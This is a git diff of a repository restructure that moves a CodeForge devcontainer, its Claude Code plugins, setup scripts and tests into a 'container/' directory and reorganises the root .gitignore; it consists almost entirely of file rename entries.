rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/references/ecosystem-commands.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/dependency-management/references/license-compliance.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/references/container-lifecycle.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/docker-py/references/resources-and-security.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/docker/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/docker/references/compose-services.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/docker/references/dockerfile-patterns.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/references/api-doc-templates.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/documentation-patterns/references/docstring-formats.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/middleware-and-lifespan.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/pydantic-models.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/routing-and-dependencies.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/fastapi/references/sse-and-streaming.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/references/advanced-commands.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/git-forensics/references/investigation-playbooks.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/references/javascript-migrations.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/migration-patterns/references/python-migrations.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/references/interpreting-results.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/performance-profiling/references/tool-commands.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/references/agents-and-tools.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/pydantic-ai/references/models-and-streaming.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/references/safe-transformations.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/refactoring-patterns/references/smell-catalog.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/references/owasp-patterns.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/security-checklist/references/secrets-patterns.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/cross-vendor-principles.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/patterns-and-antipatterns.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/skill-building/references/skill-authoring-patterns.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/advanced-queries.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/javascript-patterns.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/python-patterns.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/sqlite/references/schema-and-pragmas.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/ai-sdk-svelte.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/component-patterns.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/layercake.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/migration-guide.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/runes-and-reactivity.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/spa-and-routing.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/svelte5/references/svelte-dnd-action.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/team/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/testing/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/testing/references/fastapi-testing.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/testing/references/svelte-testing.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/references/manual-worktree-commands.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/skill-engine/skills/worktree/references/parallel-workflow-patterns.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/.claude-plugin/plugin.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/README.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/hooks/hooks.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/scripts/spec-reminder.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-build/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-build/references/review-checklist.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-check/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/backlog-template.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/milestones-template.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-init/references/roadmap-template.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-new/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-new/references/template.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-refine/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-review/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/spec-update/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/references/criteria-patterns.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/spec-workflow/skills/specification-writing/references/ears-templates.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/ticket-workflow/.claude-plugin/plugin.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/ticket-workflow/README.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/ticket-workflow/hooks/hooks.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/ticket-workflow/scripts/ticket-linker.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketcreate-pr/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketnew/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketreview-commit/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/ticket-workflow/skills/ticketwork/SKILL.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/workspace-scope-guard/.claude-plugin/plugin.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/workspace-scope-guard/README.md (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/workspace-scope-guard/hooks/hooks.json (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/guard-workspace-scope.py (100%) rename {.devcontainer => container/.devcontainer}/plugins/devs-marketplace/plugins/workspace-scope-guard/scripts/inject-workspace-cwd.py (100%) rename {.devcontainer => container/.devcontainer}/scripts/check-setup.sh (100%) rename {.devcontainer => container/.devcontainer}/scripts/preflight.sh (100%) rename {.devcontainer => container/.devcontainer}/scripts/setup-aliases.sh (100%) rename {.devcontainer => container/.devcontainer}/scripts/setup-auth.sh (100%) rename {.devcontainer => container/.devcontainer}/scripts/setup-config.sh (100%) rename {.devcontainer => container/.devcontainer}/scripts/setup-migrate-claude.sh (100%) rename {.devcontainer => container/.devcontainer}/scripts/setup-migrate-codeforge.sh (100%) rename {.devcontainer => container/.devcontainer}/scripts/setup-plugins.sh (100%) rename {.devcontainer => container/.devcontainer}/scripts/setup-projects.sh (100%) rename {.devcontainer => container/.devcontainer}/scripts/setup-terminal.sh (100%) rename {.devcontainer => container/.devcontainer}/scripts/setup-update-claude.sh (100%) rename {.devcontainer => container/.devcontainer}/scripts/setup.sh (100%) create mode 100644 container/.gitignore rename .npmignore => container/.npmignore (100%) rename CLAUDE.md => container/CLAUDE.md (100%) rename README.md => container/README.md (100%) rename {logos => container/logos}/CodeForgeLogo.png (100%) rename {logos => container/logos}/CodeForgeLogoTr.png (100%) rename {logos => container/logos}/github-avatar.png (100%) rename package.json => container/package.json (100%) rename setup.js => container/setup.js (100%) rename test.js => container/test.js (100%) rename {tests => container/tests}/__init__.py (100%) rename {tests => container/tests}/conftest.py (100%) rename {tests => container/tests}/plugins/__init__.py (100%) rename {tests => container/tests}/plugins/test_block_dangerous.py (100%) rename {tests => container/tests}/plugins/test_guard_protected.py (100%) rename {tests => container/tests}/plugins/test_guard_protected_bash.py (100%) rename {tests => container/tests}/plugins/test_guard_readonly_bash.py (100%) rename {tests => container/tests}/plugins/test_guard_workspace_scope.py (100%) rename {tests => container/tests}/plugins/test_redirect_builtin_agents.py (100%) diff --git a/.gitignore b/.gitignore index 14980e1..7376f80 100644 --- a/.gitignore +++ b/.gitignore @@ -1,84 +1,64 @@ -# CodeForge Git Ignore - -# Environment files with API keys +# Shared +node_modules/ +dist/ .env -.env.local -.env.development.local -.env.test.local -.env.production.local - -# DevContainer build cache -.devcontainer/.dockercache/ - -# IDE files -.vscode/settings.json -*.swp -*.swo -*~ - -# Temporary files -*.tmp -*.temp +.env.* +!.env.example +!.env.*.example +*.log .DS_Store Thumbs.db - -# Logs -*.log -npm-debug.log* -yarn-debug.log* -yarn-error.log* - -# Runtime data -pids -*.pid -*.seed -*.pid.lock - -# Coverage directory used by tools like istanbul +__pycache__/ +*.pyc coverage/ *.lcov - -# nyc test coverage .nyc_output -logs -dev-debug.log -# Python bytecode -__pycache__/ -*.pyc +# Temporary files +*.tmp +*.temp +*.swp +*.swo +*~ -# Dependency directories -node_modules/ -# Environment variables -# Editor directories and files -.idea -.vscode +# IDE +.vscode/ +.idea/ *.suo *.ntvs* *.njsproj *.sln -*.sw? -# OS specific -# Claude Code directory (user-specific) -.claude/ +# Runtime +pids/ +*.pid +*.seed +*.pid.lock -# All hidden directories except devcontainer and codeforge -.* -!.devcontainer/ -!.devcontainer/**/.claude-plugin/ -!.codeforge/ -!.git/ -!.github/ -!.gitignore -!.gitattributes -!.npmignore +# Container-specific +container/.claude/ +container/.tmp/ +container/.codeforge/.checksums/ +container/.codeforge/.markers/ +container/.devcontainer/.env +container/.devcontainer/.secrets +container/.devcontainer/state/ +container/.devcontainer/config/backups/ +container/.devcontainer/.dockercache/ +container/.devcontainer/**/*.codeforge-new +container/.devcontainer/**/*.bak +container/.devcontainer/.codeforge-preserve -# .codeforge per-installation state (not tracked) -.codeforge/.checksums/ -.codeforge/.markers/ +# CLI-specific +cli/.pytest_cache/ +cli/.ruff_cache/ -# Docs -docs/node_modules/ -docs/dist/ +# Docs-specific docs/.astro/ + +# OS-generated +logs/ +dev-debug.log +npm-debug.log* +yarn-debug.log* +yarn-error.log* diff --git a/.codeforge/config/ccstatusline-settings.json b/container/.codeforge/config/ccstatusline-settings.json similarity index 100% rename from .codeforge/config/ccstatusline-settings.json rename to container/.codeforge/config/ccstatusline-settings.json diff --git a/.codeforge/config/keybindings.json b/container/.codeforge/config/keybindings.json similarity index 100% rename from .codeforge/config/keybindings.json rename to container/.codeforge/config/keybindings.json diff --git a/.codeforge/config/main-system-prompt.md b/container/.codeforge/config/main-system-prompt.md similarity index 100% rename from .codeforge/config/main-system-prompt.md rename to container/.codeforge/config/main-system-prompt.md diff --git a/.codeforge/config/orchestrator-system-prompt.md b/container/.codeforge/config/orchestrator-system-prompt.md similarity index 100% rename from .codeforge/config/orchestrator-system-prompt.md rename to container/.codeforge/config/orchestrator-system-prompt.md diff --git a/.codeforge/config/rules/session-search.md b/container/.codeforge/config/rules/session-search.md similarity index 100% rename from .codeforge/config/rules/session-search.md rename to container/.codeforge/config/rules/session-search.md diff --git a/.codeforge/config/rules/spec-workflow.md b/container/.codeforge/config/rules/spec-workflow.md similarity index 100% rename from .codeforge/config/rules/spec-workflow.md rename to container/.codeforge/config/rules/spec-workflow.md diff --git a/.codeforge/config/rules/workspace-scope.md b/container/.codeforge/config/rules/workspace-scope.md similarity index 100% rename from .codeforge/config/rules/workspace-scope.md rename to container/.codeforge/config/rules/workspace-scope.md diff --git a/.codeforge/config/settings.json b/container/.codeforge/config/settings.json similarity index 100% rename from .codeforge/config/settings.json rename to container/.codeforge/config/settings.json diff --git a/.codeforge/config/writing-system-prompt.md b/container/.codeforge/config/writing-system-prompt.md similarity index 100% rename from .codeforge/config/writing-system-prompt.md rename to container/.codeforge/config/writing-system-prompt.md diff --git a/.codeforge/file-manifest.json b/container/.codeforge/file-manifest.json similarity index 100% rename from .codeforge/file-manifest.json rename to container/.codeforge/file-manifest.json diff --git a/.codeforge/scripts/connect-external-terminal.ps1 b/container/.codeforge/scripts/connect-external-terminal.ps1 similarity index 100% rename from .codeforge/scripts/connect-external-terminal.ps1 rename to container/.codeforge/scripts/connect-external-terminal.ps1 diff --git a/.codeforge/scripts/connect-external-terminal.sh b/container/.codeforge/scripts/connect-external-terminal.sh similarity index 100% rename from .codeforge/scripts/connect-external-terminal.sh rename to container/.codeforge/scripts/connect-external-terminal.sh diff --git a/.devcontainer/.env.example b/container/.devcontainer/.env.example similarity index 100% rename from .devcontainer/.env.example rename to container/.devcontainer/.env.example diff --git a/.devcontainer/.gitignore b/container/.devcontainer/.gitignore similarity index 100% rename from .devcontainer/.gitignore rename to container/.devcontainer/.gitignore diff --git a/.devcontainer/.secrets.example b/container/.devcontainer/.secrets.example similarity index 100% rename from .devcontainer/.secrets.example rename to container/.devcontainer/.secrets.example diff --git a/.devcontainer/CHANGELOG.md b/container/.devcontainer/CHANGELOG.md similarity index 100% rename from .devcontainer/CHANGELOG.md rename to container/.devcontainer/CHANGELOG.md diff --git a/.devcontainer/CLAUDE.md b/container/.devcontainer/CLAUDE.md similarity index 100% rename from .devcontainer/CLAUDE.md rename to container/.devcontainer/CLAUDE.md diff --git a/.devcontainer/README.md b/container/.devcontainer/README.md similarity index 100% rename from .devcontainer/README.md rename to container/.devcontainer/README.md diff --git a/.devcontainer/devcontainer.json b/container/.devcontainer/devcontainer.json similarity index 100% rename from .devcontainer/devcontainer.json rename to container/.devcontainer/devcontainer.json diff --git a/.devcontainer/features/agent-browser/README.md b/container/.devcontainer/features/agent-browser/README.md similarity index 100% rename from .devcontainer/features/agent-browser/README.md rename to container/.devcontainer/features/agent-browser/README.md diff --git a/.devcontainer/features/agent-browser/devcontainer-feature.json b/container/.devcontainer/features/agent-browser/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/agent-browser/devcontainer-feature.json rename to container/.devcontainer/features/agent-browser/devcontainer-feature.json diff --git a/.devcontainer/features/agent-browser/install.sh b/container/.devcontainer/features/agent-browser/install.sh similarity index 100% rename from .devcontainer/features/agent-browser/install.sh rename to container/.devcontainer/features/agent-browser/install.sh diff --git a/.devcontainer/features/ast-grep/README.md b/container/.devcontainer/features/ast-grep/README.md similarity index 100% rename from .devcontainer/features/ast-grep/README.md rename to container/.devcontainer/features/ast-grep/README.md diff --git a/.devcontainer/features/ast-grep/devcontainer-feature.json b/container/.devcontainer/features/ast-grep/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/ast-grep/devcontainer-feature.json rename to container/.devcontainer/features/ast-grep/devcontainer-feature.json diff --git a/.devcontainer/features/ast-grep/install.sh b/container/.devcontainer/features/ast-grep/install.sh similarity index 100% rename from .devcontainer/features/ast-grep/install.sh rename to container/.devcontainer/features/ast-grep/install.sh diff --git a/.devcontainer/features/biome/README.md b/container/.devcontainer/features/biome/README.md similarity index 100% rename from .devcontainer/features/biome/README.md rename to container/.devcontainer/features/biome/README.md diff --git a/.devcontainer/features/biome/devcontainer-feature.json b/container/.devcontainer/features/biome/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/biome/devcontainer-feature.json rename to container/.devcontainer/features/biome/devcontainer-feature.json diff --git a/.devcontainer/features/biome/install.sh b/container/.devcontainer/features/biome/install.sh similarity index 100% rename from .devcontainer/features/biome/install.sh rename to container/.devcontainer/features/biome/install.sh diff --git a/.devcontainer/features/ccburn/README.md b/container/.devcontainer/features/ccburn/README.md similarity index 100% rename from .devcontainer/features/ccburn/README.md rename to container/.devcontainer/features/ccburn/README.md diff --git a/.devcontainer/features/ccburn/devcontainer-feature.json b/container/.devcontainer/features/ccburn/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/ccburn/devcontainer-feature.json rename to container/.devcontainer/features/ccburn/devcontainer-feature.json diff --git a/.devcontainer/features/ccburn/install.sh b/container/.devcontainer/features/ccburn/install.sh similarity index 100% rename from .devcontainer/features/ccburn/install.sh rename to container/.devcontainer/features/ccburn/install.sh diff --git a/.devcontainer/features/ccms/README.md b/container/.devcontainer/features/ccms/README.md similarity index 100% rename from .devcontainer/features/ccms/README.md rename to container/.devcontainer/features/ccms/README.md diff --git a/.devcontainer/features/ccms/devcontainer-feature.json b/container/.devcontainer/features/ccms/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/ccms/devcontainer-feature.json rename to container/.devcontainer/features/ccms/devcontainer-feature.json diff --git a/.devcontainer/features/ccms/install.sh b/container/.devcontainer/features/ccms/install.sh similarity index 100% rename from .devcontainer/features/ccms/install.sh rename to container/.devcontainer/features/ccms/install.sh diff --git a/.devcontainer/features/ccstatusline/README.md b/container/.devcontainer/features/ccstatusline/README.md similarity index 100% rename from .devcontainer/features/ccstatusline/README.md rename to container/.devcontainer/features/ccstatusline/README.md diff --git a/.devcontainer/features/ccstatusline/devcontainer-feature.json b/container/.devcontainer/features/ccstatusline/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/ccstatusline/devcontainer-feature.json rename to container/.devcontainer/features/ccstatusline/devcontainer-feature.json diff --git a/.devcontainer/features/ccstatusline/install.sh b/container/.devcontainer/features/ccstatusline/install.sh similarity index 100% rename from .devcontainer/features/ccstatusline/install.sh rename to container/.devcontainer/features/ccstatusline/install.sh diff --git a/.devcontainer/features/ccusage/README.md b/container/.devcontainer/features/ccusage/README.md similarity index 100% rename from .devcontainer/features/ccusage/README.md rename to container/.devcontainer/features/ccusage/README.md diff --git a/.devcontainer/features/ccusage/devcontainer-feature.json b/container/.devcontainer/features/ccusage/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/ccusage/devcontainer-feature.json rename to container/.devcontainer/features/ccusage/devcontainer-feature.json diff --git a/.devcontainer/features/ccusage/install.sh b/container/.devcontainer/features/ccusage/install.sh similarity index 100% rename from .devcontainer/features/ccusage/install.sh rename to container/.devcontainer/features/ccusage/install.sh diff --git a/.devcontainer/features/chromaterm/README.md b/container/.devcontainer/features/chromaterm/README.md similarity index 100% rename from .devcontainer/features/chromaterm/README.md rename to container/.devcontainer/features/chromaterm/README.md diff --git a/.devcontainer/features/chromaterm/chromaterm.yml b/container/.devcontainer/features/chromaterm/chromaterm.yml similarity index 100% rename from .devcontainer/features/chromaterm/chromaterm.yml rename to container/.devcontainer/features/chromaterm/chromaterm.yml diff --git a/.devcontainer/features/chromaterm/devcontainer-feature.json b/container/.devcontainer/features/chromaterm/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/chromaterm/devcontainer-feature.json rename to container/.devcontainer/features/chromaterm/devcontainer-feature.json diff --git a/.devcontainer/features/chromaterm/install.sh b/container/.devcontainer/features/chromaterm/install.sh similarity index 100% rename from .devcontainer/features/chromaterm/install.sh rename to container/.devcontainer/features/chromaterm/install.sh diff --git a/.devcontainer/features/claude-code-native/README.md b/container/.devcontainer/features/claude-code-native/README.md similarity index 100% rename from .devcontainer/features/claude-code-native/README.md rename to container/.devcontainer/features/claude-code-native/README.md diff --git a/.devcontainer/features/claude-code-native/devcontainer-feature.json b/container/.devcontainer/features/claude-code-native/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/claude-code-native/devcontainer-feature.json rename to container/.devcontainer/features/claude-code-native/devcontainer-feature.json diff --git a/.devcontainer/features/claude-code-native/install.sh b/container/.devcontainer/features/claude-code-native/install.sh similarity index 100% rename from .devcontainer/features/claude-code-native/install.sh rename to container/.devcontainer/features/claude-code-native/install.sh diff --git a/.devcontainer/features/claude-monitor/README.md b/container/.devcontainer/features/claude-monitor/README.md similarity index 100% rename from .devcontainer/features/claude-monitor/README.md rename to container/.devcontainer/features/claude-monitor/README.md diff --git a/.devcontainer/features/claude-monitor/devcontainer-feature.json b/container/.devcontainer/features/claude-monitor/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/claude-monitor/devcontainer-feature.json rename to container/.devcontainer/features/claude-monitor/devcontainer-feature.json diff --git a/.devcontainer/features/claude-monitor/install.sh b/container/.devcontainer/features/claude-monitor/install.sh similarity index 100% rename from .devcontainer/features/claude-monitor/install.sh rename to container/.devcontainer/features/claude-monitor/install.sh diff --git a/.devcontainer/features/claude-session-dashboard/README.md b/container/.devcontainer/features/claude-session-dashboard/README.md similarity index 100% rename from .devcontainer/features/claude-session-dashboard/README.md rename to container/.devcontainer/features/claude-session-dashboard/README.md diff --git a/.devcontainer/features/claude-session-dashboard/devcontainer-feature.json b/container/.devcontainer/features/claude-session-dashboard/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/claude-session-dashboard/devcontainer-feature.json rename to container/.devcontainer/features/claude-session-dashboard/devcontainer-feature.json diff --git a/.devcontainer/features/claude-session-dashboard/install.sh b/container/.devcontainer/features/claude-session-dashboard/install.sh similarity index 100% rename from .devcontainer/features/claude-session-dashboard/install.sh rename to container/.devcontainer/features/claude-session-dashboard/install.sh diff --git a/.devcontainer/features/dprint/README.md b/container/.devcontainer/features/dprint/README.md similarity index 100% rename from .devcontainer/features/dprint/README.md rename to container/.devcontainer/features/dprint/README.md diff --git a/.devcontainer/features/dprint/devcontainer-feature.json b/container/.devcontainer/features/dprint/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/dprint/devcontainer-feature.json rename to container/.devcontainer/features/dprint/devcontainer-feature.json diff --git a/.devcontainer/features/dprint/install.sh b/container/.devcontainer/features/dprint/install.sh similarity index 100% rename from .devcontainer/features/dprint/install.sh rename to container/.devcontainer/features/dprint/install.sh diff --git a/.devcontainer/features/hadolint/README.md b/container/.devcontainer/features/hadolint/README.md similarity index 100% rename from .devcontainer/features/hadolint/README.md rename to container/.devcontainer/features/hadolint/README.md diff --git a/.devcontainer/features/hadolint/devcontainer-feature.json b/container/.devcontainer/features/hadolint/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/hadolint/devcontainer-feature.json rename to container/.devcontainer/features/hadolint/devcontainer-feature.json diff --git a/.devcontainer/features/hadolint/install.sh b/container/.devcontainer/features/hadolint/install.sh similarity index 100% rename from .devcontainer/features/hadolint/install.sh rename to container/.devcontainer/features/hadolint/install.sh diff --git a/.devcontainer/features/kitty-terminfo/README.md b/container/.devcontainer/features/kitty-terminfo/README.md similarity index 100% rename from .devcontainer/features/kitty-terminfo/README.md rename to container/.devcontainer/features/kitty-terminfo/README.md diff --git a/.devcontainer/features/kitty-terminfo/devcontainer-feature.json b/container/.devcontainer/features/kitty-terminfo/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/kitty-terminfo/devcontainer-feature.json rename to container/.devcontainer/features/kitty-terminfo/devcontainer-feature.json diff --git a/.devcontainer/features/kitty-terminfo/install.sh b/container/.devcontainer/features/kitty-terminfo/install.sh similarity index 100% rename from .devcontainer/features/kitty-terminfo/install.sh rename to container/.devcontainer/features/kitty-terminfo/install.sh diff --git a/.devcontainer/features/lsp-servers/README.md b/container/.devcontainer/features/lsp-servers/README.md similarity index 100% rename from .devcontainer/features/lsp-servers/README.md rename to container/.devcontainer/features/lsp-servers/README.md diff --git a/.devcontainer/features/lsp-servers/devcontainer-feature.json b/container/.devcontainer/features/lsp-servers/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/lsp-servers/devcontainer-feature.json rename to container/.devcontainer/features/lsp-servers/devcontainer-feature.json diff --git a/.devcontainer/features/lsp-servers/install.sh b/container/.devcontainer/features/lsp-servers/install.sh similarity index 100% rename from .devcontainer/features/lsp-servers/install.sh rename to container/.devcontainer/features/lsp-servers/install.sh diff --git a/.devcontainer/features/mcp-qdrant/CHANGES.md b/container/.devcontainer/features/mcp-qdrant/CHANGES.md similarity index 100% rename from .devcontainer/features/mcp-qdrant/CHANGES.md rename to container/.devcontainer/features/mcp-qdrant/CHANGES.md diff --git a/.devcontainer/features/mcp-qdrant/README.md b/container/.devcontainer/features/mcp-qdrant/README.md similarity index 100% rename from .devcontainer/features/mcp-qdrant/README.md rename to container/.devcontainer/features/mcp-qdrant/README.md diff --git a/.devcontainer/features/mcp-qdrant/devcontainer-feature.json b/container/.devcontainer/features/mcp-qdrant/devcontainer-feature.json similarity index 100% rename from .devcontainer/features/mcp-qdrant/devcontainer-feature.json rename to container/.devcontainer/features/mcp-qdrant/devcontainer-feature.json diff --git a/.devcontainer/features/mcp-qdrant/install.sh b/container/.devcontainer/features/mcp-qdrant/install.sh similarity index 100% rename from .devcontainer/features/mcp-qdrant/install.sh rename to container/.devcontainer/features/mcp-qdrant/install.sh diff --git a/.devcontainer/features/mcp-qdrant/poststart-hook.sh b/container/.devcontainer/features/mcp-qdrant/poststart-hook.sh similarity index 100% rename from .devcontainer/features/mcp-qdrant/poststart-hook.sh rename to container/.devcontainer/features/mcp-qdrant/poststart-hook.sh diff --git a/.devcontainer/features/notify-hook/README.md b/container/.devcontainer/features/notify-hook/README.md similarity index 100% rename from 